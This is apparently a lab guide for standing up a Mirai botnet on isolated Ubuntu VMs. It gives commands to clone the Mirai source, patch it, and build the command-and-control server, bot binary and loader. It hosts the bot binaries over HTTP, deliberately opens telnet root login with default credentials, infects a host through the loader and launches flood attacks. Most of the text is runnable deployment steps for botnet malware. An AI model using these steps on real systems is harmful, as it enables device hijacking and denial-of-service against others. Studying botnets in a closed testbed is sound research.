Overview
- CNC Server: 192.168.1.12:23 (cnc.local:23)
- Report Server: 192.168.1.12:48101 (cnc.local:48101)
- Loader Server: 192.168.1.13
- Bot Binary Host: http://192.168.1.13:80/bins/mirai.*
Hosts Setup
Router
+----------+-------------+-------------+-----------------------+
| Hostname | router | OS | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
| Users |
+--------------------------------------------------------------+
| Name | Password |
+------------------------+-------------------------------------+
| ubuntu | ubuntu |
+------------------------+-------------------------------------+
| root | root |
+------------------------+-------------------------------------+
| Network Interfaces |
+--------------------------------------------------------------+
| Name | IP | Gateway | DNS |
+----------+--------------+--------------+---------------------+
| ens3 | 192.168.1.11 | 192.168.1.11 | 192.168.1.11 |
+----------+--------------+--------------+---------------------+
| ens4 | DHCP |
+----------+---------------------------------------------------+
sudo apt update && sudo apt upgrade -y
# change host name
echo router | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1 router/' /etc/hosts
# add /etc/udev/rules.d/90-persistent-net.rules to rename interface if necessary
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="xx:xx:xx:xx:xx:xx", NAME="ens4"
# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
address 192.168.1.11/24
gateway 192.168.1.11
dns-nameservers 192.168.1.11
EOF
cat << EOF | sudo tee -a /etc/network/interfaces
auto ens4
iface ens4 inet dhcp
EOF
# router traffic of the subnet to the internet
sudo sed -i "s/.*net.ipv4.ip_forward.*/net.ipv4.ip_forward=1/" /etc/sysctl.conf
sudo sysctl -p /etc/sysctl.conf
sudo apt install -y iptables-persistent
sudo iptables -t nat -A POSTROUTING -o ens4 -j MASQUERADE
sudo iptables-save | sudo tee /etc/iptables/rules.v4
# install DNS server
sudo apt install dnsmasq -y
# add mirai botnet DNS records
echo "address=/cnc.local/192.168.1.12" | sudo tee -a /etc/dnsmasq.conf
# install compilers and build busybox
sudo apt install -y make gcc
wget https://busybox.net/downloads/busybox-1.30.0.tar.bz2
tar jxf busybox-1.30.0.tar.bz2
rm busybox-1.30.0.tar.bz2
cd busybox-1.30.0/
make defconfig
make
make install
cd ~
# link the busybox to the new one
sudo mv /bin/busybox /bin/busybox.old
sudo ln -s ~/busybox-1.30.0/_install/bin/busybox /bin/busybox
# set the password for the root user
sudo passwd root
# enter root twice
# permit root login for telnet
for i in {0..9}
do
echo "pts/$i" | sudo tee -a /etc/securetty
done
# add and start telnetd service. Also start it at boot
cat << EOF | sudo tee /etc/systemd/system/telnetd.service
[Unit]
Description=Telnetd service
After=network.target
[Service]
ExecStart=/bin/busybox telnetd -F
Restart=always
RestartSec=1
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=telnetd
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable telnetd.service
sudo rebootCNC
+----------+-------------+-------------+-----------------------+
| Hostname | cnc | OS | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
| Users |
+--------------------------------------------------------------+
| Name | Password |
+------------------------+-------------------------------------+
| ubuntu | ubuntu |
+------------------------+-------------------------------------+
| Network Interfaces |
+--------------------------------------------------------------+
| Name | IP | Gateway | DNS |
+----------+--------------+--------------+---------------------+
| ens3 | 192.168.1.12 | 192.168.1.11 | 192.168.1.11 |
+----------+--------------+--------------+---------------------+
| MySQL |
+--------------------------------------------------------------+
| Username | root | Password | root |
+----------+-------------+-------------+-----------------------+
| CNC Telnet |
+--------------------------------------------------------------+
| Username | mirai | Password | password |
+----------+-------------+-------------+-----------------------+
cd ~
sudo apt update && sudo apt upgrade -y
# change host name
echo cnc | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1 cnc/' /etc/hosts
# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
address 192.168.1.12/24
gateway 192.168.1.11
dns-nameservers 192.168.1.11
EOF
# add environment variables
echo "export PATH=\$PATH:/usr/local/go/bin" >> ~/.mirairc
echo "export GOPATH=\$HOME/go" >> ~/.mirairc
echo "source ~/.mirairc" >> ~/.bashrc
source ~/.mirairc
# download and install Go and the database
sudo apt install -y git mysql-server mysql-client
wget https://dl.google.com/go/go1.11.4.linux-amd64.tar.gz
sudo tar -zxvf go1.11.4.linux-amd64.tar.gz -C /usr/local/
rm go1.11.4.linux-amd64.tar.gz
# install CNC dependencies
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
# download Mirai source code
git clone https://github.com/jgamblin/Mirai-Source-Code.git
# apply patch
cd ~/Mirai-Source-Code/
wget https://gist.githubusercontent.com/ppoffice/86beb0f90de5aeec75aabd517ebc5e43/raw/63425ad7e30d7a50c8e74d5a4efd0aa7fcc0fc67/mirai.patch
git apply mirai.patch
# configure MySQL
mysql -uroot -proot < scripts/db.sql
# build cnc server and report server
mkdir ~/mirai
go build -o ~/mirai/cnc mirai/cnc/*.go
go build -o ~/mirai/report mirai/tools/scanListen.go
sudo reboot
# start CNC server and report in separate screens
screen -S cnc sudo ~/mirai/cnc
screen -S report ~/mirai/reportLoader
+----------+-------------+-------------+-----------------------+
| Hostname | loader | OS | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
| Users |
+--------------------------------------------------------------+
| Name | Password |
+------------------------+-------------------------------------+
| ubuntu | ubuntu |
+------------------------+-------------------------------------+
| Network Interfaces |
+--------------------------------------------------------------+
| Name | IP | Gateway | DNS |
+----------+--------------+--------------+---------------------+
| ens3 | 192.168.1.13 | 192.168.1.11 | 192.168.1.11 |
+----------+--------------+--------------+---------------------+
cd ~
sudo apt update && sudo apt upgrade -y
# change host name
echo loader | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1 loader/' /etc/hosts
# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
address 192.168.1.13/24
gateway 192.168.1.11
dns-nameservers 192.168.1.11
EOF
# download and install the cross compilers
# https://github.com/kribesk/security-project-mirai/blob/master/configs/provision.sh
# Actually, we do not need to compile binaries for architectures other than x86_64 in
# our experiment.
# sudo mkdir /etc/xcompile
# cd /etc/xcompile
# COMPILERS="cross-compiler-armv4l cross-compiler-armv5l cross-compiler-i586 cross-compiler-m68k cross-compiler-mips cross-compiler-mipsel cross-compiler-powerpc cross-compiler-sh4 cross-compiler-sparc"
# for compiler in $COMPILERS; do
# sudo wget -q https://www.uclibc.org/downloads/binaries/0.9.30.1/${compiler}.tar.bz2 --no-check-certificate
# if [ -f "${compiler}.tar.bz2" ]; then
# sudo tar -jxf ${compiler}.tar.bz2
# sudo rm ${compiler}.tar.bz2
# echo "export PATH=\$PATH:/etc/xcompile/$compiler/bin" >> ~/.mirairc
# echo "Compiler $compiler installed"
# else
# echo "Can not download $compiler"
# fi
# done
# echo "source ~/.mirairc" >> ~/.bashrc
# source ~/.mirairc
# cd ~
# install the gcc compiler and git
sudo apt install -y git gcc electric-fence
# set up bot binary file server
sudo apt install -y apache2
# download Mirai source code
git clone https://github.com/jgamblin/Mirai-Source-Code.git
# apply patch
cd ~/Mirai-Source-Code/
wget https://gist.githubusercontent.com/ppoffice/86beb0f90de5aeec75aabd517ebc5e43/raw/63425ad7e30d7a50c8e74d5a4efd0aa7fcc0fc67/mirai.patch
git apply mirai.patch
mkdir -p ~/mirai
# build mirai bot binaries
cd ~/Mirai-Source-Code/mirai/
# we only build x86_64 bot here
#./build.sh release telnet
gcc -std=c99 bot/*.c -DMIRAI_TELNET -static -g -o ~/mirai/mirai.x86
# copy binaries to the HTTP server hosting folder
sudo mkdir -p /var/www/html/bins/
sudo cp ~/mirai/mirai.* /var/www/html/bins/
# build loader
cd ~/Mirai-Source-Code/loader/
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o ~/mirai/loader.dbg
# build dropper (optional since we use wget)
# cd ~/Mirai-Source-Code/dlr/
# chmod +x build.sh
# ./build.sh
# cp release/dlr.* ~/Mirai-Source-Code/loader/bins/
# copy dropper binaries to the same directory of the loader binary
mkdir -p ~/mirai/bins
cp ~/Mirai-Source-Code/loader/bins/* ~/mirai/bins/
sudo reboot
# start loader and feed credentials
cd ~/mirai && ./loader.dbg
# enter 192.168.1.11:23 root:root to start mirai bot injection manuallyVictim
+----------+-------------+-------------+-----------------------+
| Hostname | victim | OS | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
| Users |
+--------------------------------------------------------------+
| Name | Password |
+------------------------+-------------------------------------+
| ubuntu | ubuntu |
+------------------------+-------------------------------------+
| Network Interfaces |
+--------------------------------------------------------------+
| Name | IP | Gateway | DNS |
+----------+--------------+--------------+---------------------+
| ens3 | 192.168.1.14 | 192.168.1.11 | 192.168.1.11 |
+----------+--------------+--------------+---------------------+
sudo apt update && sudo apt upgrade -y
# change host name
echo victim | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1 victim/' /etc/hosts
# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
address 192.168.1.14/24
gateway 192.168.1.11
dns-nameservers 192.168.1.11
EOF
sudo reboot
# capture network traffic and observe the attack
sudo tcpdumpAttack
To start attack, telnet into the CNC server and enter mirai as username and password as password.
Once logged in, type ? to see all available attack options, e.g., ack 192.168.1.14 10.